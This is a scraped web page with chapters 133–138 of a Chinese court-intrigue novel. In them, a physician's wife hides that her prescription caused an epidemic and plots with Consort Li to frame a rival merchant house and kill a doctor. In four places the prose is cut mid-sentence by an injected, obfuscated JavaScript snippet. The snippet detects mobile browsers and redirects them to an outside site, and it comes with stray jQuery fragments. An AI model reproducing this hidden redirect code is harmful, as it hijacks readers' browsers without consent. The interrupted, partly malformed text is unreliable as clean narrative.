今日之后,朝中格局必将发生一场大洗牌。 第133章 一头真正的野狼 方成川被判斩立决的消息很快传回方家,方志远直接吐了一口浓血,昏迷不醒。 方氏也得知此事,她眼前一黑,险些晕过去。 “怎么会这样?好端端的,怎么会变成这样……” 陆映溪对舅舅没有什么感情留恋,但舅舅出事了,她的靠山又少了一个。 她恨声道:“陆知苒,都是那个小贱人害的!自从她和离回来之后,我们的日子便越过越差,她就是天生克我们的!” 方氏眸底恨得充血,指甲掐进肉里却毫无知觉。 母女二人关起门来疯狂谩骂,陆知苒却在自己院子里悠闲地裁剪花枝,心情格外的好。 那份锤死方成川的账册,是她给萧晏辞送去的。 她知道,萧晏辞能把那本账册的作用发挥到极致,他果然没叫自己失望。 但实际上,那本账册并非出自她之手,她还没那通天的本事能拿到那么细致的账目。 此乃出自一个令人意想不到之人——方家庶子,方成钰。 当年他出生时有道士批命,此子命格太硬,恐会克得方家家宅不宁,是以他在方家过得十分不好,母子二人吃了很多苦头。 他靠自己刻苦钻研,考上了进士,入了翰林院,方志远才注意到了这个儿子,但依旧没有因此改变对他的偏见,反而觉得他锋芒太盛,压了嫡出的方成川一头。 方成钰被刻意打压,这些年一直待在翰林院,没有半点升迁的机会。 在方家,他也如同隐形人一样,不被任何人关注。 但谁都没想到,这是一头真正的野狼。 他藏起了獠牙,不动声色地观察方家人,搜集他们留下的罪证,只等恰当的时候,给他们致命一击。 前世,在陆知苒弥留之际便听说,他以一己之力把方家整垮了。 敌人的敌人,就是朋友,陆知苒很乐意与这样的人合作。 他的确是聪明人,陆知苒试探性地抛出橄榄枝,对方立马便接住了。 …… 太常寺迎来了一次大清洗。 今年,太庙祭祀之事已经安排下去,此次负责采买的官员故技重施,但银子还没捞到,就被当成典型抓了。 最后,包括太常寺卿在内的泰半官员都被清算,或贬官,或罚俸,侥幸未被波及的官员也人人自危。 六皇子党趁机往里安排自己的人,以往都能十分顺利,但这一次却需交由德丰帝拍案,最后只安插了两个人,还都是一些无关紧要的位置。 萧晏清虽然恼怒,但萧晏辞也没有安插自己的人手,他心里才稍稍平衡些。 赵书宁最近在李贵妃跟前伺候得分外小心,但依旧会触到对方霉头。 “本宫可不会抬举无用之人,你没法替本宫分忧,多的是人有这能耐。” 赵书宁心头一紧,“臣女定竭尽所能,为贵妃分忧。” 李贵妃摆弄着手上嫣红的丹寇,神色幽冷。 “光靠嘴皮子谁都会说,本宫可不吃这一套。” 从毓秀宫离开,赵书宁的眉头便没有松开过。 六皇子的幕僚无数,宣平侯府只能算是最不起眼的末流。 眼下六皇子暂时失势,是最好的出谋划策的机会。 若不能抓紧时机,日后再想得到重用就难了。 上次她与楚翊安商议,却没商议出个所以然来,眼下她心头的急迫感达到了顶峰。 回到青黛阁,碧莹上前服侍,面上带着几分欲言又止。 赵书宁不耐烦,“有话就直说,吞吞吐吐做什么?” 碧莹这才小声开口,“夫人,奴婢收到了家中的来信,我哥哥说,西平最近又爆发了一场怪病,患病的人越来越多,且症状多为心悸,气喘,乏力,与上次聂管事所说的症状一模一样……” 赵书宁心跳一跳,劈手就夺过了她手里的信,一目十行地看完了。 碧莹神情忐忑地看着她,“夫人,这到底是怎么一回事?这与您当初的方子,真的没有关系吗?” 赵书宁扫向她,眼神狠厉,碧莹被吓得一哆嗦,不敢说话了。 “这件事,你给我烂在肚子里!敢对任何人提起半个字,我饶不了你!” 碧莹讷讷点头。 她捏着那封信,原本就烦躁的心情更笼上了一层深深的阴霾。 赵书宁本对自己的药方很自信,但此时,她心中也不禁升起一丝动摇和怀疑。 此事若当真与自己的药方有关,那事情就严重了。 她必须想法子查验一番。 脚步匆匆地往府外而去,没想到半道却遇到了楚翊安。 他同样也是步履匆匆,只不过脸上带着一丝隐约的兴奋。 “书宁,有个好消息。” 赵书宁将袖中的那封书信藏好,疑惑地问,“怎么了?” “我们到书房去说。” 二人到了书房,楚翊安这才拿出了一样东西,摆在案前。 那是个拳头大小的东西,像地瓜,但表皮是黄色的。 “此为何物?” 楚翊安认真道:“此为洋芋,乃是商船从海外运回来的东西,我已经尝过了,此物味道不错,饱腹感极强,可作为主食代替粮食。” 赵书宁依旧蹙着眉,不解其意。 楚翊安的声音难掩兴奋,“我打听过了,此物极易存活,最主要是产量极高,能高达亩产三千斤!” 听到这个数字,赵书宁的眼睛也瞬间一亮。 “当真?” “我不曾亲自栽种过,也不敢保证究竟有几分可信度。但我们可以让人试种一番,若当真如那商人所说,我们便可将此物献给六皇子,这于侯府而言,便是大功一件!” 赵书宁眸光顿时亮得惊人。 “你是在何处得到的此物?” “是一个士兵闲聊的时候提起,有商船从海外回来,带回了不少新鲜的洋玩意儿,我下值之后便也去瞧了瞧。此物无人问津,我好奇之下多问了两句,没曾想倒是有了意外之喜。” 赵书宁又问了一个更加关键的问题,“此物多久能收获?” 楚翊安道:“最快需两个月。” 赵书宁眼底的亮光淡了几分,她摇头,“两个月,太慢了。” 楚翊安也知道这一点,但此物的生长习性如此,谁也没法改变。 赵书宁心中却已然有了其他思量。 第134章 并非天灾,实乃人祸 楚翊安毕竟是她的枕边人,一眼就看穿了她心中所想。 “你莫不是现在就想进献给六皇子?” 赵书宁反问,“有何不可?” “你莫要太急于求成。那商人的话不可尽信,若不求证清楚,贸然进献,只怕要弄巧成拙。” 赵书宁的眸底盛满了勃勃野心,“成大事者,不拘小节,也要有豁得出去的胆气和魄力,一味求稳,就会错过唾手可得的良机。” 楚翊安蹙眉,“太过激进也可能会弄巧成拙。” 赵书宁目光灼灼地看着他,“两个月会发生很多事情,或许到那时,早有人抢先一步把这东西进献给了六皇子。到头来,我们就只能是竹篮打水一场空。” 楚翊安还待说些什么,赵书宁冷声,“你可知近日李贵妃对我的态度发生了多大的转变?她不会抬举无用之人,若我们不能及时地给六皇子分忧,很快,我们宣平侯府就会被彻底踢出局。” 楚翊安对上她那自信果决的神色,心头不禁生出一份汗颜。 越到这种时候,他反倒越是瞻前顾后,连个女子都不如。 他不得不承认,只要不牵涉陆知苒之事,赵书宁就不会犯糊涂,是个很不错的能出谋划策,并肩作战的战友。 至少,赵书宁不会背叛侯府,他们的目标是一致的,都是为了让侯府蒸蒸日上,越来越好。 楚翊安点了头,“好,一切都听你的。” 终于将他说服,赵书宁松了口气。 自己的空口白话,李贵妃定然不会立马相信,她会派人种植,验证此事真假。 至少,在洋芋收获的这两个月时间里,侯府在六皇子一派中的地位能稳住。 两个月的时间,也足够他们再找其他的法子,为侯府寻求其他出路。 楚翊安这时才想起来问,“你方才神色匆匆,是要去何处?” 赵书宁暗暗摸了摸自己藏在袖中的书信,面上八风不动,“我只是想到侯府前景未明,心情有些烦躁便四处走走罢了。” 楚翊安闻言,心头生出几分感动。 她就算有诸多的缺点,但一心为侯府未来着想这一点却是不容置疑的。 几日后,赵书宁再次被传召入宫,她带上了那看似平平无奇的洋芋,献给了李贵妃。 李贵妃一开始充满了怀疑,但赵书宁有一种本事,能把自己不确定的事情说得信誓旦旦,说到最后,她自己都开始坚信不疑。 李贵妃对她缓和了态度。 “本宫会命人亲自栽种,验证你说的这番话。若事实当真如你所言,本宫定重重有赏!” 赵书宁立马表忠,“能替六皇子分忧,是侯府的荣幸,万不敢讨要赏赐。” 她转而又提起了另外一件事。 “娘娘,这洋芋乃是从海外运回来,臣妇还发现,京中多了许多新奇的物件,也是源自海外。臣妇虽不通经商之术,但想来商人来回倒腾这些东西,应当有暴利可图。若六皇子组建商队出海……” 赵书宁的话还没说完,就被李贵妃摆手打断。 “你实在太过想当然。组建商队所耗不菲,且风险极大。前两年,出海的商船接连遭遇海难,人财两空,血本无归。这买卖,可不是随随便便就能做的。” 赵书宁还欲再说些什么,李贵妃阴阳怪气地道:“提议谁都会说,关键是能否拿出真金白银来真正替六皇子把事办了。” 赵书宁被怼得说不出话来,同时不禁暗想,若陆知苒的钱财都是她的,那该多好! 从李贵妃那处离开,她又去了太医院,借走了几册医书。 这几日,她乔装打扮,去各家医馆旁敲侧击地求证了一番,最后不得不接受了这一个绝望的事实,她的方子下药过重,早就埋下了隐患。 眼下西平的这场疫情,多半与她的方子脱不开干系! 这件事如同巨石般沉沉地压在她的心头。 她连夜研读医书,熬了大半夜,在一册医药典籍中也找到了验证,心中最后一丝侥幸也没了。 她猛地将医书阖上,脸色变得一片惨白。 眼下,西平百姓们的身体已经有了表征,大祸已然酿成,一旦东窗事发,她必将万劫不复! 唯一的法子,便是祸水东引…… 只是,此去西平甚远,她鞭长莫及,身边又没有得力的人手,她要如何安排此事? 赵书宁的眸底染上一抹幽暗。 翌日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161990|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碧莹慌慌张张地寻到她,“夫人,不好了,聂管事又寻上门了,他指名要见您。” 本以为赵书宁会恼怒,不曾想,她的眼神骤然一亮。 “他在何处?带我去见他!” 她正想找他呢,没想到对方竟主动找上了门来,真是瞌睡了就有人送枕头。 赵书宁匆匆出了一趟门,见到了聂管事。 从他的口中,赵书宁得到了一个至关重要的讯息。 正是这条讯息,让她对接下来的困局有了破局之法。 两日后,赵书宁再次入宫,例行为孙皇后和李贵妃请脉。 到了李贵妃殿内,赵书宁开门见山,“娘娘,臣妇有一桩要事要禀。” 李贵妃看了她一眼,旋即摆了摆手,把众人屏退。 “说吧,何事?” 赵书宁面色严肃,“娘娘,臣妇近日得了一个消息,蒋家的小神医蒋南笙去了西平。他乃瑾王一系,此时突然前往西平,目的只怕不单纯。” 这话一下把李贵妃的兴趣勾了起来,“你都查到了些什么?细细说来。” “臣妇还收到另外一则消息,西平又出事了,百姓们又出现了一些古怪的病症,蒋南笙此去西平,怕是与此事有关。” 李贵妃面色顿时变得难看几分,“若他治好了那病症,岂不是又要再挣一个功劳?” 蒋南笙与萧晏辞算是穿一条裤子长大的,蒋南笙立下大功,对萧晏辞而言就是锦上添花的好事,这自然是李贵妃不愿看到的。 赵书宁缓缓点头,“臣妇正是有此担心。臣妇还发现了另外一桩蹊跷,早在西平此次疫病尚未爆发之时,蒋南笙就已经命人准备了大批药材赶往西平,就好似有未卜先知之能一般。” 李贵妃的眼睛微眯,心中闪过了诸多猜测。 “还有上次,西平的那场疫病,陆家的太仓商行也同样准备周全,就好似料定了一定会有疫情,也似未卜先知似的。” 赵书宁的话带着十足的诱导性,李贵妃面色顿时笼上一层阴霾。 “你想说什么?” 赵书宁跪了下来,似豁了出去,“臣妇斗胆揣测,西平的这两次疫情只怕都不简单,并非天灾,实乃人祸!” 第135章 这步棋走对了 李贵妃脸色晦暗不明,“你可知道自己在说什么?” 赵书宁语气决绝,“臣妇知道自己胆大包天,但在娘娘面前,臣妇便是豁出去也要说。疫病本就具有传染性,若有心人故意制造传染源,又人为扩散,疫病就会一发不可收拾。” “在全城陷入危急之时,再捐粮捐药,博取名声,换取功劳,实乃稳赚不赔的买卖!太仓商行尝到了甜头,这次他们竟故技重施,还想再挣一次功劳,当真是好谋算!” 李贵妃心头一紧,眸底多了一层森然冷意。 “你可有证据?” “臣妇没有实证。” 李贵妃冷笑,“这么说,这都是你凭空猜测的?你可知,就凭你这番话,本宫就能治你一个污蔑之罪!” 赵书宁暗暗稳了稳心神,“臣妇知道自己这话实乃胆大包天,但臣妇是娘娘的人,既然心中已经有了怀疑,就不得不说,不然岂不眼睁睁地看着旁人把功劳挣了去?娘娘若觉得臣妇是在胡言乱语,臣妇甘愿受罚!” 李贵妃盯着赵书宁,半晌没有说话。 赵书宁匍匐在地,一动不动。 她已经把李贵妃的心思揣摩得一清二楚,知道她最忌惮之人是谁。 这番煽风点火的话,只不过是恰到好处地把对方心中的怀疑放大罢了。 只要她生了怀疑,再反复琢磨此事,就会越想越不对劲,她不可能对此事置之不理。 赵书宁在赌,赌李贵妃的选择,也为自己赌一条生路。 半晌,李贵妃才终于开口,“你起来吧。” 赵书宁听了这话,暗暗松了口气。 她知道,自己赌对了。 “赵氏,你可有本事再次平息此次疫情?” “臣妇自然有这能力,但是臣妇身在京城,鞭长莫及,现在赶往西平,时间上也来不及了。娘娘,臣妇有一计,或可替娘娘解决此患。” “哦?你有何计策?说来听听。” 赵书宁缓缓将自己早就盘算了无数遍的计谋道出。 “西平接连两次发生疫病,且时间间隔并不算长,有没有可能,这两场疫病其实有某种关联?” 李贵妃一时没听明白,面上露出疑惑之色。 “上次救治灾情所用的药,都是太仓商行免费捐赠,这于当时的西平百姓而言是莫大的恩情。但若那批药本就有问题,那救命的良药,就变成了害人的**。时隔大半年,百姓们的身体纷纷出现了问题,臣妇怀疑,这便是当初服用那些药材所留下的后遗症。而蒋南笙紧急前往西平,也是为了善后此事。” 李贵妃不禁错愕,“当真?” 赵书宁语气笃定,“臣妇没有实证,但从医理上推断,这两件事十有**有关联。想来,他们也早就知道了那批药有问题,若不然瑾王怎会刻意隐下自己在此事中的功劳?” 她说得信誓旦旦,就好似这一切就是板上钉钉的事实。 李贵妃的眼睛慢慢放大,最后眸底开始闪出晶亮的光。 若此事为真,这就是老天爷送上门的一个绝佳机会! 她必须要抓住这个机会扳回一局! “此事已经过了许久,如何证明当初捐赠的那批药有问题?” 赵书宁早有对策,“若他们商行已是卖假药的惯犯,一切不就说得通了?到时候再派有心人从中引导,大家自然就能把两件事联系在一起。西平不比京城,穷山恶水出刁民,那里的人野蛮又愚昧,要煽动他们,轻而易举。” 有此流言一起,大家都会把责任归结到太仓商行的那批药上,谁会想到是自己方子的问题呢? 李贵妃也一下明白了过来。 一个商行要树立好的名声很难,但要毁掉,却轻而易举。 她不禁看向赵书宁,眼神中多了一丝别样的意味。 此女心思活泛,脑子灵光,倒是合她心意。 看到李贵妃眼底的欣赏,赵书宁继续道:“另外,蒋南笙必须除掉,他是瑾王的左膀右臂,有他在,我们的计划定然无法施展。” 李贵妃眸底闪过一抹杀意。 早年,她曾向蒋老太医示好,但对方却冥顽不灵,毫不搭理,李贵妃心中早就存了记恨。 除掉蒋南笙这个蒋家最出息的后辈,也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161991|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对蒋家最大的报复。 “还有呢?” 赵书宁想了想,“此事必须做得隐秘,不可让瑾王知晓,我们得想法子斩断他们之间的联络。” 若让萧晏辞得知了蒋南笙的死讯,必然能猜出西平局势有变。 届时他再派人前往西平,他们的计划就会受阻。 李贵妃眉头紧锁,旋即慢慢舒展开来。 这不容易,但也并非做不到,只是要提前动用一些势力罢了。 若此计能成,便是动用那些势力又何妨? 赵书宁观察着李贵妃的神色,悬着的心慢慢放了下去。 自己这步棋走对了! 凭借她一己之力,根本没法善后自己的药方留下的这些烂摊子,但若多了六皇子这么一个帮手,事情就十拿九稳了。 她不仅要把自己的责任撇清,还要反手给陆知苒扣上一口大黑锅,叫她彻底无法翻身。 李贵妃看着赵书宁,忽而问,“你方才说,你有法子平息这场疫病?” 赵书宁自信地点头。 “若疫病发展到非常严重的地步,你可有力挽狂澜之法?” 赵书宁微愣,旋即慢慢明白了李贵妃的用意。 她不仅仅想推翻陆知苒先前的功劳,还想让六皇子从中把功劳抢过来。 六皇子不通医理,自然就只能让赵书宁出力。 她不敢再夸口,谨慎地道:“臣妇倒是有治疗的方子,只是拖延太久,延误了救治的最佳时机,只怕救治效果会大不如前,身上也会落下残疾。” 李贵妃不管那些,“那你便想法子改进方子,只要把人救活,就算残了,也是功劳,总比**好。届时西平疫病爆发,六皇子会主动请缨前去平疫,本宫也会向皇上举荐你,这是本宫给你的一次机会,你可要好好抓牢了。” 赵书宁用力握了握拳,“娘娘放心,臣妇定做足准备,不会让娘娘失望!” 任何高回报之事,都伴随着高风险,她必须迎难而上。 她不信命,只要她豁出去,定然能重新走得更高,更远。 她一定会将陆知苒狠狠踩在脚底! 第136章 菩萨心肠的大好人 转眼到了二月中旬。 那场没日没夜,无休无止的雪终于停了,但天气依旧十分冷,甚至比下雪之时更冷几分。 经过这段时日的赶工,工坊和周边配套设施终于搭建完成。 工坊的具体用途尚未对外公布,众人对此生出了诸多猜测。 就在这时,朝廷正式公布了替此次受灾百姓修缮房屋的告示。 此桩告示一出,整个收容所彻底沸腾了,大家脸上皆是难以置信的狂喜。 众人纷纷跪下,朝着皇宫的方向连连磕头,高呼万岁,不少人激动得哽咽不止,令人闻之动容。 萧晏辞站在人群之后,看着他们那一张张充满感激的脸,心中也不由升起一阵激荡。 老百姓的诉求很简单,有饭吃,有衣穿,有片瓦遮身。 这看似简单的诉求,要真正做到却是不易。 这一刻,他心中的野心达到了顶峰。 他要去争那至高无上的位置,努力做一个让百姓们信赖和感激的明君,开创一个海晏河清的太平盛世。 不知是谁大喊一声,“咱们还要感谢瑾王殿下,这份恩典,是瑾王殿下为我们求来的!” 众人的视线立马转向萧晏辞,眼里盛满了惊诧。 “真的?” “自然是真的,瑾王殿下又立下了大功,他便向皇上替咱们求了这道恩典,瑾王殿下一心为了我们,他是我们的大恩人啊!” “瑾王殿下大恩,我等肝脑涂地也无以回报!” “瑾王殿下,我家小女略有些姿色,您若不嫌弃,这便送到府上伺候您!” “你这是感激,还是想趁机攀高枝呢?不过瑾王殿下若不嫌弃的话,我家也有个小女儿……” 众人的话锋一下跑偏,开始变成了毛遂自荐,争相给萧晏辞送女儿,没有女儿的,则是想把自家儿子送去当牛做马。 萧晏辞见此情形,不禁哭笑不得。 “各位的好意本王心领了,不过本王身边不缺人,就不做那恶人,叫诸位骨肉分离了。” 听了这话,好些个年轻姑娘家眼底的光都熄灭了。 送人不行,他们便又开始给萧晏辞送东西,萧晏辞不忍拂意,便一一收下。 萧晏辞又命人整理了收容所的青壮年名单。 工坊已经修建完成,他们即将被调派前去修缮房屋。 这活大家都十分乐意干,今日帮忙修别人的房子,过几日就轮到修自家的了,他们不仅不用出银子,还能拿工钱呢! 这天大的好事,八辈子都求不来啊。 青壮男丁调走了,收容所便只余下老弱妇孺,她们负责清扫工坊,经过两日的大扫除,整个工坊上下都焕然一新,半点渣子都没了。 大家都好奇工坊的用途,很快答案便揭晓了。 工坊前张贴出了一张火红的告示。 “工坊招募启示。承蒙圣上恩典,为安置此次受灾百姓,特开设联合工坊,由宫中女官亲自教授刺绣、胭脂、香料等制作工艺。凡品性端方,身体康健,能吃苦耐劳的女子,皆可报名,有经验者优先。学徒期间,工坊包吃住,月银三十文……” 在前头朗读之人声音高亢,一字一句都清晰地传入众人耳中,大家都怀疑自己听错了。 再三确认之后,不少妇人都红了眼眶。 她们是女子,在家中的地位低微,能吃上一口饭已是不错,万万没想到,皇上竟如此体恤,专门为她们开办了工坊,教她们学习手艺。 若手艺学成,回到家中,她们的腰杆都能挺直,日后不论走到哪里都不愁找不到活,也不愁找不到好婆家了! 众人激动得抱头痛哭,又跪下朝皇宫的方向磕头谢恩。 有人道:“此事是平乐县主向皇上提议的,搭建工坊上上下下的银钱,全都是平乐县主所出!” 众人闻言,心头涌起一阵汹涌的震撼与感动。 “咱们这收容所,便是平乐县主带头搭建,她现在又给咱们建了工坊,收留咱们,这份大恩大德,我便是几辈子都还不清啊!” “她真真是菩萨心肠的大好人啊!” “听说她长得貌若天仙,长得好看心肠还那么好,她定是菩萨转世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161992|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “待我赚了银子,我定要为她塑一个金身,日日供奉!” 众人七嘴八舌,皆是对陆知苒的感激。 此事也瞬间在京中传开,茶楼酒馆无不热议。 “朝廷竟给女子行这方便之门,实在浪费,依我看,倒不如开办几个书院,给男子多些读书入仕的机会。” “就是,女人能有什么大出息?花费这么多银子抬举女人,真是荒谬。” “你们没听说吗?又是那平乐县主搞出来的,身为女子不好好待在家里,反倒整日抛头露面,简直是牝鸡司晨,倒反天罡。” 说酸话者有之,但大多数都是眼明心亮,分得清好歹之人,立马就有人站出来反驳。 “你们这话说得就有些不对了,平乐县主此举深明大义,不仅造福百姓,也替朝廷分了忧,怎么到了你们口中就变得如此不堪?” “可不是!世间能有几人有平乐县主这般格局与魄力?她若身为男子,定然早就封侯拜相了!” “说得对,平乐县主乃当世奇女子,她的所作所为,比你们这些只知道在这里说酸话的人强多了。” 这个消息传到宣平侯府,大家顿时有些食不知味起来。 她能如此大手笔地拿出这么多银子修建工坊,可见其身家有多丰厚! 若她还是宣平侯府的人,那这些钱财,就都是他们的了啊! 楚翊安的面上闪过一抹晦涩,心中亦是百般滋味,难以言说。 赵书宁看着众人神色,袖中的手暗暗握紧几分。 李贵妃自然也知道了此事,她也不可避免地生出了深深的嫉妒,同时更多了一股更加紧迫的危机感。 陆知苒和萧晏辞费心费力地筹谋这些,无非为名为利。 他日工坊办起来了,百姓们更会感激和感念他们的功德。 长此以往,萧晏辞在百姓中的威望就会越来越高,届时哪里还有她儿子的事儿? 李贵妃眸中闪过一抹狠厉。 “既如此,那就让他们的工坊就此夭折,让他们折腾的这些都成为一场笑话!” 第137章 你对朕的决策有意见? 赵书宁正在给李贵妃推拿腰腹,缓解酸痛。 闻言她停下手上动作,“娘娘,臣妇有一言,不知当讲不当讲。” 李贵妃语气暴躁,“有话你就直说,吞吞吐吐做什么?” 赵书宁这才开口,“臣妇认为,与其想方设法破坏此事,不如想法子横插一脚,把他们的功劳都抢过来。” 这功劳若是能抢过来,那自然再好不过,但这岂是容易之事?萧晏辞和陆知苒可都不是什么善茬儿。 李贵妃看向她,“你有法子?” 赵书宁沉吟一番,缓声道:“这工坊乃官商合营,皇上必然要派人负责此事。而工坊招收的全是女子,若派了朝中官员负责,到底男女有别。臣妇认为,唯有派一位公主负责此事,最合适不过。” “四公主出嫁多年,听闻她一直操持着府中庶务,性情沉稳,处事周全,御下得力,威望颇高,实乃负责工坊之事的不二人选。” 李贵妃闻言,眸光倏而一亮。 四公主,正是她的长女,萧婉贞。 五年前她嫁给内阁大学生的嫡幼子卢子阳,近年来,卢家也给萧晏清提供了不少助力。 李贵妃倒是从未想过,自己女儿也能帮上忙。 她看向赵书宁的眼神又添了几分欣赏,“你的脑子倒是灵光,总能想到一些出其不意的点子。” 赵书宁立马道:“能为娘娘分忧,是臣妇的荣幸。臣妇也只能出个主意,此事还得皇上点头才行。” 李贵妃十分自信,“你的提议合情合理,工坊的确不适合由男子负责。婉贞自幼便聪慧过人,甚得皇上喜爱,除了她,其他公主都远嫁出京,谁能负责此事?她亲自入宫,提出为皇上分忧,皇上定会答允。” “还有个九公主……” 李贵妃嗤笑一声,“她?一个只知道吃的废物,能担得起如此重任?皇上若把工坊交给她,那才是失心疯了。” 这话颇有些大不敬,但李贵妃在自己宫里,说话素来如此。 赵书宁也觉得萧宝珠不堪大用,又见李贵妃如此自信,她便打消了心中的担忧。 只要皇上把工坊交给四公主负责,那这工坊所立下的功劳,就能全都被抢过来。 到时候,陆知苒就是个只掏钱,捞不到半点好处的冤大头。 翌日,萧婉贞收到李贵妃的传召,早早入了宫。 她容貌肖似李贵妃,一身装扮端庄大气,通身带着股高高在上的傲气。 “母妃,您这般匆忙地召见儿臣,可是有何事?” 李贵妃将她拉着坐下,“的确有一件要事。” 她将事情来龙去脉细细说来。 “母妃已经派人去请你父皇来一块用膳,你好好在他面前表一表孝心,再提出此事,为他分忧,他定会答应。” 萧婉贞的眸底闪过一抹勃勃野心。 “母妃放心,此事交给女儿,女儿定能办妥!” 德丰帝还不知道,李贵妃母女给他备了一场鸿门宴。 李贵妃派人来请,说萧婉贞今日入宫,他忙完了政务便摆驾毓秀宫。 德丰帝一到,萧婉贞便绽出一个灿烂笑脸,露出小女儿的孺慕姿态。 “儿臣参见父皇,许久未见,父皇风姿更甚了。” 德丰帝哼笑一声,“你也知道许久未见?你眼里还有朕这个父皇在?” 萧婉贞娇嗔,“儿臣府上庶务繁琐,这才一时没抽出时间来。以后儿臣定时常入宫,到时候父皇可别嫌儿臣烦呀。” 德丰帝笑得慈和,一时气氛很是融洽。 宫人陆续上菜,他们便坐下用膳。 满桌的珍馐美食,萧婉贞和李贵妃没吃多少就放了筷子,德丰帝蹙眉,“怎吃这般少?” 李贵妃道:“妾身近日无甚胃口。” 萧婉贞则是道:“儿臣素日里胃口便这般小,吃多了身上长了一圈肥肉,那可丑**。” 这话似是无意,却是在暗讽萧宝珠。 像她那般臃肿肥胖,可不是丑**? 饭搭子如此扫兴,德丰帝原本还不错的胃口,莫名败了大半,心情也不似方才那般愉悦。 萧婉贞乖巧地给他布菜,他也没吃多少就放了筷子。 母女二人互相交换了一记眼神,是时候开始说正事了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161993|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 萧婉贞亲自给德丰帝奉上一盏茶,然后便状似随意地提起了城外联合工坊之事。 “平乐县主屡出奇招,为父皇分忧,实乃奇女子也。” 德丰帝面上多了一抹真切的笑,“的确,她的才干,比朕的那些大臣也丝毫不差。” 听他如此不遗余力地夸赞陆知苒,萧婉贞眸底飞快闪过一抹不屑,很快遮掩过去。 “父皇,儿臣也想尽己所能,替您分忧。” 李贵妃假意斥责,“婉贞,说什么胡话,你能替你父皇分什么忧?” “母妃,儿臣没有说胡话,儿臣是认真的。这处联合工坊专为女子所建,意义不凡。但朝中官员都为男子,到底不便负责此事,儿臣愿意为父皇分忧,帮忙打理工坊诸事。父皇,请您给儿臣这个机会。” 萧婉贞一脸诚恳地望着德丰帝,眸中满含期盼。 德丰帝笑着摇头,“你已嫁做人妇,合该以夫家为重,朝中之事,就无需你操心了。” 萧婉贞不以为意,“夫家之事再重要,也没有父皇的事重要。更何况,卢家的庶务女儿早就料理妥当,只需要按部就班地交给底下的管事去办便是,出不了岔子。” 李贵妃从旁帮腔,“没想到你竟有这般孝心,也是难得。皇上,婉贞德才兼备,行事亦是进退有度,不若便将此事交给她来督办,她与平乐县主同为女子,二人互相配合,定能把工坊打理好。” 德丰帝面上的神色淡了几分。 “工坊之事你们不用操心,朕已经有了安排。” 萧婉贞脸上闪过一抹错愕,旋即便是不敢置信。 她张口就想质问,被李贵妃急忙拦住了。 她笑着问,“皇上,不知您将此事交给了谁?能让皇上这般放心交托的,自然是能力超群,又值得信赖的。” 德丰帝语气悠悠,“朕交给了小九。” 听了这话,李贵妃和萧婉贞同时变色。 萧婉贞再也按捺不住,脱口而出,“父皇,您怎么能把这么重要的事交给她?” “交给她有什么问题?你对朕的决策有意见?” 第138章 心莫要太大了 萧婉贞咬唇,勉强稳住心神,“儿臣并非此意,儿臣只是觉得,小九到底年轻,终究是孩子心性,又没有操持过任何大事,贸然接手此事,恐怕不能胜任。” 李贵妃也跟着道:“是啊,小九那孩子玩心重,也缺乏锻炼……” 德丰帝直接打断她,“正是因为她缺乏锻炼,这次朕才给她一次机会好生锻炼。她不会不要紧,身边多的是人能教她。朕的女儿,不是那等愚昧蠢笨之人,不至于连这都学不会。” 德丰帝的态度完全出乎她们的预料,原本以为轻而易举的事,竟然半道杀出一个程咬金来。 萧婉贞从不把萧宝珠放在眼里。 除了嫡出的身份,她没有半点能与自己比。 可父皇却如此偏心,连这么重要的事都交给那个草包。 李贵妃勉强撑着脸上的笑意,“皇上说得在理,只是,这件事只怕她自己也未必愿意……” 德丰帝笑了笑,“那你就太小瞧她了,她愿意得很,这件事便是她自己主动向朕求的。” 李贵妃母女的脸色再次变得十分难看。 但很快就想明白了,萧宝珠和陆知苒关系如此要好,此事陆知苒定早早向她透露,萧宝珠会抢先下手也是情理之中。 只恨她们没有获得第一手消息,先下手为强。 此事的确是陆知苒怂恿。 那三日,陆知苒在长乐宫并不是白待的,她把工坊运营的所有想法都与萧宝珠细细分说了一番,萧宝珠听得十分专注,眼神中更是充满了神往。 